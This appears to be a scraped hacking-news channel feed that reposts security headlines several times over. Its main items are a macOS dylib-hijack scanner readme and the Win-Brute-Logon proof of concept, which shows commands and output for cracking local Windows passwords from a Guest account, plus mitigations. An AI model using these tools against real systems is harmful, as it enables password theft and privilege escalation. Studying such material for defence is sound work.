Exploit Collector
Fingerprint Attendance 1.0 Account Takeover
___________________________
@hacking_Attack
@Hacking_Video
Fingerprint Attendance 1.0 Account Takeover
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Fingerprint Attendance 1.0 Account Takeover
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
Fingerprint Attendance 1.0 Shell Upload
___________________________
@hacking_Attack
@Hacking_Video
Fingerprint Attendance 1.0 Shell Upload
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Fingerprint Attendance 1.0 Shell Upload
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
Cyera Launches From Stealth With $60M to Identify, Secure, and Remediate Cloud Data Security Risks
Backed by Sequoia, Accel, and Cyberstarts, Cyera is building the security layer for the data plane in the cloud and enabling enterprises to identify and reduce risks across all cloud-based data repositories.
___________________________
@hacking_Attack
@Hacking_Video
Cyera Launches From Stealth With $60M to Identify, Secure, and Remediate Cloud Data Security Risks
Backed by Sequoia, Accel, and Cyberstarts, Cyera is building the security layer for the data plane in the cloud and enabling enterprises to identify and reduce risks across all cloud-based data repositories.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
Cyera Launches From Stealth With $60M to Identify, Secure, and Remediate Cloud Data Security Risks
Backed by Sequoia, Accel, and Cyberstarts, Cyera is building the security layer for the data plane in the cloud and enabling enterprises to identify and reduce risks across all cloud-based data repositories.
nothing
https://medium.com/@thesingraja6/nothing-e958e3c4f069?source=rss------bug_bounty-5
Continue reading on Medium » (https://medium.com/@thesingraja6/nothing-e958e3c4f069?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
https://medium.com/@thesingraja6/nothing-e958e3c4f069?source=rss------bug_bounty-5
Continue reading on Medium » (https://medium.com/@thesingraja6/nothing-e958e3c4f069?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
Medium
nothing
nothing
How I Accidentally Prevented A Mass Hacking
https://www.reddit.com/r/redteamsec/comments/tr63en/how_i_accidentally_prevented_a_mass_hacking/
submitted by /u/banginpadr (https://www.reddit.com/user/banginpadr)
[link] (https://medium.com/geekculture/how-i-accidentally-prevented-a-mass-hacking-e9cd7ddc15fd) [comments] (https://www.reddit.com/r/redteamsec/comments/tr63en/how_i_accidentally_prevented_a_mass_hacking/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/redteamsec/comments/tr63en/how_i_accidentally_prevented_a_mass_hacking/
submitted by /u/banginpadr (https://www.reddit.com/user/banginpadr)
[link] (https://medium.com/geekculture/how-i-accidentally-prevented-a-mass-hacking-e9cd7ddc15fd) [comments] (https://www.reddit.com/r/redteamsec/comments/tr63en/how_i_accidentally_prevented_a_mass_hacking/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
How I Accidentally Prevented A Mass Hacking
Posted in r/redteamsec by u/banginpadr • 0 points and 0 comments
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Boko : Application Hijack Scanner For macOS
Boko.py is an application scanner for macOS that searches for and identifies potential dylib hijacking and weak dylib vulnerabilities for application executables, as well as scripts an application may use that have the potential to be backdoored. The tool also calls out interesting files and lists them instead of manually browsing the file system for analysis. With the active discovery function, there’s no more guess work if an executable is vulnerable to dylib hijacking!
The reason behind creating this tool was because I wanted more control over the data Dylib Hijack Scanner discovered. Most publicly available scanners stop once they discover the first case of a vulnerable dylib without expanding the rest of the rpaths. Since sometimes the first result is expanded in a non-existent file within a SIP-protected area, I wanted to get the rest of those expanded paths. Because of this, there are false positives, so the tool assigns a certainty field for each item.
CertaintyDescriptionDefiniteThe vulnerability is 100% exploitableHighIf the vulnerability is related to a main executable and rpath is 2nd in the load order, there is a good chance the vulnerability is exploitablePotentialThis is assigned to dylibs and backdoorable scripts, worth looking into but may not be exploitableLowLow chance this is exploitable because of late load order, but knowledge is power
The backbone of this tool is based off of scan.py from DylibHijack by Patrick Wardle (@synack). Usageboko.py [-h] (-r | -i | -p /path/to/app) (-A | -P | -b) [-oS outputfile | -oC outputfile | -oA outputfile] [-s] [-v] ParametersArgumentDescription-h, –helpShow this help message and exit-r, –runningCheck currently running processes-i, –installedCheck all installed applications-p /file.appCheck a specific application i.e. /Application/Safari.app-A, –activeExecutes executable binaries discovered to actively identify hijackable dylibs-P, –passivePerforms checks only by viewing file headers (Default)-b, –bothPerforms both methods of vulnerability testing-oS outputfileOutputs standard output to a .log file-oC outputfileOutputs results to a .csv file-oA outputfileOutputs results to a .csv file and standard log-s, –sipdisabledUse if SIP is disabled on the system to search typically read-only paths-v, –verboseOutput all results in verbose mode while script runs, without this only Definite certainty vulnerabilities are displayed to the console
It is recommended only to use active mode (
Warning Note: It is highly discouraged to run this tool with the
*
* Identify all running processes on system
* Obtain full path of running executable
* Read executables and identify macho headers
* Identify dylib relative paths that are loaded and check if files exist in that location
* Output hijackable dylibs and weak dylibs for running applications Installed/Application
* Scan full directory of application for all files
* Identify executable files, scripts, and other interesting files in application directory
* Read executables and identify macho headers or if the file is a script[...]
___________________________
@hacking_Attack
@Hacking_Video
Boko : Application Hijack Scanner For macOS
Boko.py is an application scanner for macOS that searches for and identifies potential dylib hijacking and weak dylib vulnerabilities for application executables, as well as scripts an application may use that have the potential to be backdoored. The tool also calls out interesting files and lists them instead of manually browsing the file system for analysis. With the active discovery function, there’s no more guess work if an executable is vulnerable to dylib hijacking!
The reason behind creating this tool was because I wanted more control over the data Dylib Hijack Scanner discovered. Most publicly available scanners stop once they discover the first case of a vulnerable dylib without expanding the rest of the rpaths. Since sometimes the first result is expanded in a non-existent file within a SIP-protected area, I wanted to get the rest of those expanded paths. Because of this, there are false positives, so the tool assigns a certainty field for each item.
CertaintyDescriptionDefiniteThe vulnerability is 100% exploitableHighIf the vulnerability is related to a main executable and rpath is 2nd in the load order, there is a good chance the vulnerability is exploitablePotentialThis is assigned to dylibs and backdoorable scripts, worth looking into but may not be exploitableLowLow chance this is exploitable because of late load order, but knowledge is power
The backbone of this tool is based off of scan.py from DylibHijack by Patrick Wardle (@synack). Usageboko.py [-h] (-r | -i | -p /path/to/app) (-A | -P | -b) [-oS outputfile | -oC outputfile | -oA outputfile] [-s] [-v] ParametersArgumentDescription-h, –helpShow this help message and exit-r, –runningCheck currently running processes-i, –installedCheck all installed applications-p /file.appCheck a specific application i.e. /Application/Safari.app-A, –activeExecutes executable binaries discovered to actively identify hijackable dylibs-P, –passivePerforms checks only by viewing file headers (Default)-b, –bothPerforms both methods of vulnerability testing-oS outputfileOutputs standard output to a .log file-oC outputfileOutputs results to a .csv file-oA outputfileOutputs results to a .csv file and standard log-s, –sipdisabledUse if SIP is disabled on the system to search typically read-only paths-v, –verboseOutput all results in verbose mode while script runs, without this only Definite certainty vulnerabilities are displayed to the console
It is recommended only to use active mode (
-A) with the -pflag and selecting a specific program. Also, it’s a good idea to use -vwith -oSor -oA, unless you are only looking for definite certainty vulnerabilities.Warning Note: It is highly discouraged to run this tool with the
-iand (-A or –b) flags together. This combination will open every executable on your system for 3 seconds at a time. I do not take any responsibility for your system crashing or slowing down because you ran that. Additionally, if you have dormant malware on your system, this will execute it. I also recommend not scanning the whole /Applicationsdirectory if you have Xcode installed because it takes a very long time. Requirements* Python 3*
python -m pip install psutilProcess FlowPassive modeRunning * Identify all running processes on system
* Obtain full path of running executable
* Read executables and identify macho headers
* Identify dylib relative paths that are loaded and check if files exist in that location
* Output hijackable dylibs and weak dylibs for running applications Installed/Application
* Scan full directory of application for all files
* Identify executable files, scripts, and other interesting files in application directory
* Read executables and identify macho headers or if the file is a script[...]
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
Boko : Application Hijack Scanner For macOS !!! Kali Linux
Boko.py is an application scanner for macOS that searches for and identifies potential dylib hijacking and weak dylib vulnerabilities.
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Boko : Application Hijack Scanner For macOS Boko.py is an application scanner for macOS that searches for and identifies potential dylib hijacking and weak dylib vulnerabilities for application executables, as well as scripts an application…
* Identify dylib relative paths that are loaded and check if files exist in that location
* Output hijackable dylibs, weak dylibs, backdoorable scripts, and interesting files (verbose only) Active modeRunning
* Identify all running processes on system
* Obtain full path of running executable
* Read executables and identify macho headers
* Execute the executable binaries for 3 seconds and analyze rpaths that are attempted to load
* Output hijackable dylibs and weak dylibs for running applications Application
* Scan full directory of application for all files
* Identify executable files, scripts, and other interesting files in application directory
* Read executables and identify macho headers or if the file is a script
* Execute the executable binaries for 3 seconds and analyze rpaths that are attempted to load
* Output hijackable dylibs, weak dylibs, backdoorable scripts, and interesting files (verbose only) Download
___________________________
@hacking_Attack
@Hacking_Video
* Output hijackable dylibs, weak dylibs, backdoorable scripts, and interesting files (verbose only) Active modeRunning
* Identify all running processes on system
* Obtain full path of running executable
* Read executables and identify macho headers
* Execute the executable binaries for 3 seconds and analyze rpaths that are attempted to load
* Output hijackable dylibs and weak dylibs for running applications Application
* Scan full directory of application for all files
* Identify executable files, scripts, and other interesting files in application directory
* Read executables and identify macho headers or if the file is a script
* Execute the executable binaries for 3 seconds and analyze rpaths that are attempted to load
* Output hijackable dylibs, weak dylibs, backdoorable scripts, and interesting files (verbose only) Download
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Win-Brute-Logon : Crack Any Microsoft Windows Users Password Without Any Privilege
Win-Brute-Logon PoC is more what I would call a serious weakness in Microsoft Windows Authentication mechanism than a vulnerability.
The biggest issue is related to the lack of privilege required to perform such actions.
Indeed, from a Guest account (The most limited account on Microsoft Windows), you can crack the password of any available local users.
Find out which users exists using command :
Install and configure a freshly updated Windows 10 virtual or physical machine.
In my case full Windows version was :
/!\ Important notice: I used the Guest account for the demo but this PoC is not only limited to Guest account, it will work from any account / group (guest user / regular user / admin user etc…) Create a new admin user
Place the PoC executable anywhere you have access as Guest user.
Usage :
By default, domain name is the value designated by
Wait few seconds to see the following result:
[ .. ] Load 10k-most-common.txt file in memory…
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads…
[INFO] New “TWorker” Thread created with id=2260, handle=364
[INFO] New “TWorker” Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads…
[INFO] “TWorkers”(id=2260, handle=364) Thread successfully terminated.
[INFO] “TWorkers”(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06 Crack Second User :
Wait few seconds to see the following result:
[ .. ] Load 10k-most-common.txt file in memory…
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads…
[INFO] New “TWorker” Thread created with id=5748, handle=336
[INFO] New “TWorker” Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads…
[INFO] “TWorkers”(id=5748, handl[...]
___________________________
@hacking_Attack
@Hacking_Video
Win-Brute-Logon : Crack Any Microsoft Windows Users Password Without Any Privilege
Win-Brute-Logon PoC is more what I would call a serious weakness in Microsoft Windows Authentication mechanism than a vulnerability.
The biggest issue is related to the lack of privilege required to perform such actions.
Indeed, from a Guest account (The most limited account on Microsoft Windows), you can crack the password of any available local users.
Find out which users exists using command :
net userThis PoC is using multithreading to speed up the process and support both 32 and 64bit. UsageWordlist FileWinBruteLogon.exe -u Stdin Wordlisttype PoC Test Scenario (With a Guest Account)Tested on Windows 10Install and configure a freshly updated Windows 10 virtual or physical machine.
In my case full Windows version was :
1909 (OS Build 18363.778)Log as administrator and lets create two different accounts : one administrator and one regular user. Both users are local./!\ Important notice: I used the Guest account for the demo but this PoC is not only limited to Guest account, it will work from any account / group (guest user / regular user / admin user etc…) Create a new admin user
net user darkcodersc /addnet user darkcodersc trousers(trousers is the password) net localgroup administrators darkcodersc /addCreate a regular usernet user HackMe /addnet user HackMe ozlq6qwm(ozlq6qwm is the password) Create a new Guest accountnet user GuestUser /addnet localgroup users GuestUser /deletenet localgroup guests GuestUser /addGet a WordlistIn my case both trousersand ozlq6qwmare in SecList : https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt Start the attackLogoff from administrator account or restart your machine and log to the Guest account.Place the PoC executable anywhere you have access as Guest user.
Usage :
WinBruteLogon.exe -v -u -vis optional, it design the verbose mode.By default, domain name is the value designated by
%USERDOMAIN%env var. You can specify a custom name with option -dCrack First User : darkcodersc(Administrator)prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txtWait few seconds to see the following result:
[ .. ] Load 10k-most-common.txt file in memory…
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads…
[INFO] New “TWorker” Thread created with id=2260, handle=364
[INFO] New “TWorker” Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads…
[INFO] “TWorkers”(id=2260, handle=364) Thread successfully terminated.
[INFO] “TWorkers”(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06 Crack Second User :
HackMe(Regular User)prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txtWait few seconds to see the following result:
[ .. ] Load 10k-most-common.txt file in memory…
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads…
[INFO] New “TWorker” Thread created with id=5748, handle=336
[INFO] New “TWorker” Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads…
[INFO] “TWorkers”(id=5748, handl[...]
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
Win-Brute-Logon : Crack Any Microsoft Windows Users Password
Win-Brute-Logon PoC is more what I would call a serious weakness in Microsoft Windows Authentication mechanism than a vulnerability.
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Win-Brute-Logon : Crack Any Microsoft Windows Users Password Without Any Privilege Win-Brute-Logon PoC is more what I would call a serious weakness in Microsoft Windows Authentication mechanism than a vulnerability. The biggest issue…
e=336) Thread successfully terminated.
[INFO] “TWorkers”(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06 Real world scenarioIf you gain access to a low privileged user, you could crack the password of a more privileged user and escalate your privilege. Mitigation (General)* Disable guest(s) account(s) if present.
* Application white-listing.
* Follow the guidelines to create and keep a password strong. Apply this to all users. Implement Security Lockout Policy (Not present by default)Open
Value represent the number of possible attempt before getting locked.
/!\ LockDown Policy wont work on Administrator account. At this moment, best protection for Administrator account (if Enabled) is to setup a very complex password. Download
___________________________
@hacking_Attack
@Hacking_Video
[INFO] “TWorkers”(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06 Real world scenarioIf you gain access to a low privileged user, you could crack the password of a more privileged user and escalate your privilege. Mitigation (General)* Disable guest(s) account(s) if present.
* Application white-listing.
* Follow the guidelines to create and keep a password strong. Apply this to all users. Implement Security Lockout Policy (Not present by default)Open
secpol.mscthen go to Account Policies> Account Lockout Policyand edit value Account lockout thresholdwith desired value from (1 to 999).Value represent the number of possible attempt before getting locked.
/!\ LockDown Policy wont work on Administrator account. At this moment, best protection for Administrator account (if Enabled) is to setup a very complex password. Download
___________________________
@hacking_Attack
@Hacking_Video
[OC] Data Exfiltration using RedDrop - A Python Webserver for file and data exfiltration which automatically detects, decodes, decrypts, and transforms data.
https://www.reddit.com/r/redteamsec/comments/tra34k/oc_data_exfiltration_using_reddrop_a_python/
submitted by /u/cyberbutler (https://www.reddit.com/user/cyberbutler)
[link] (https://medium.com/maverislabs/data-exfiltration-using-reddrop-13bcbad7acb0?source=friends_link&sk=34320be3746773a82d065d03ea05111b) [comments] (https://www.reddit.com/r/redteamsec/comments/tra34k/oc_data_exfiltration_using_reddrop_a_python/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/redteamsec/comments/tra34k/oc_data_exfiltration_using_reddrop_a_python/
submitted by /u/cyberbutler (https://www.reddit.com/user/cyberbutler)
[link] (https://medium.com/maverislabs/data-exfiltration-using-reddrop-13bcbad7acb0?source=friends_link&sk=34320be3746773a82d065d03ea05111b) [comments] (https://www.reddit.com/r/redteamsec/comments/tra34k/oc_data_exfiltration_using_reddrop_a_python/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
[OC] Data Exfiltration using RedDrop - A Python Webserver for file...
Posted in r/redteamsec by u/cyberbutler • 3 points and 1 comment
Hacking on Medium
Prototype Pollution Client Side
A vulnerabilidade prototype pollution no client-side ocorre quando o invasor por meio de uma query consiga manipular o prototype assim…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Prototype Pollution Client Side
A vulnerabilidade prototype pollution no client-side ocorre quando o invasor por meio de uma query consiga manipular o prototype assim…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Prototype Pollution Client Side
A vulnerabilidade prototype pollution no client-side ocorre quando o invasor por meio de uma query consiga manipular o prototype assim…
Hacking on Medium
nothing
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
nothing
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
nothing
nothing
Hacking on Medium
Ellipsis.Finance Hack and Rescue Mission
https://cdn-images-1.medium.com/max/1920/1*GALtnsG_hgboAEcX6wIcOw.jpeg
Last December a rather large and time-sensitive rescue request was made in the flashbots token rescue team hotline. The victim had a large
Continue reading on bloXroute Labs »
___________________________
@hacking_Attack
@Hacking_Video
Ellipsis.Finance Hack and Rescue Mission
https://cdn-images-1.medium.com/max/1920/1*GALtnsG_hgboAEcX6wIcOw.jpeg
Last December a rather large and time-sensitive rescue request was made in the flashbots token rescue team hotline. The victim had a large
Continue reading on bloXroute Labs »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Ellipsis.Finance Rescue
Last December a rather large and time-sensitive rescue request was made in the flashbots token rescue team hotline. The victim had a large
Hacking on Medium
WolvSec CTF — March, 2022
https://cdn-images-1.medium.com/max/600/1*351R1e4k1LJo0ZJvwSBuZw.png
“Warm Up: Burp” challenge write-up
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
WolvSec CTF — March, 2022
https://cdn-images-1.medium.com/max/600/1*351R1e4k1LJo0ZJvwSBuZw.png
“Warm Up: Burp” challenge write-up
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
WolvSec CTF — March, 2022
“Warm Up: Burp” challenge write-up
Hacking on Medium
All of Contenda’s traditions… Ranked
https://cdn-images-1.medium.com/max/2600/1*eTZjS9kOO-Eoc9m6qeb56Q.jpeg
We’re a pretty meme-y group of people, so we have a lot of weird traditions. Here they all are, ranked.
Continue reading on Contenda »
___________________________
@hacking_Attack
@Hacking_Video
All of Contenda’s traditions… Ranked
https://cdn-images-1.medium.com/max/2600/1*eTZjS9kOO-Eoc9m6qeb56Q.jpeg
We’re a pretty meme-y group of people, so we have a lot of weird traditions. Here they all are, ranked.
Continue reading on Contenda »
___________________________
@hacking_Attack
@Hacking_Video
Medium
All of Contenda’s traditions… Ranked
We’re a pretty meme-y group of people, so we have a lot of weird traditions. Here they all are, ranked.
Hacking on Medium
THM’s Alfred — Walkthrough
https://cdn-images-1.medium.com/max/1193/1*Z_0OHsqAKIOOSmIujRSb-g.png
Initial Access
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
THM’s Alfred — Walkthrough
https://cdn-images-1.medium.com/max/1193/1*Z_0OHsqAKIOOSmIujRSb-g.png
Initial Access
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
THM’s Alfred — Walkthrough
Initial Access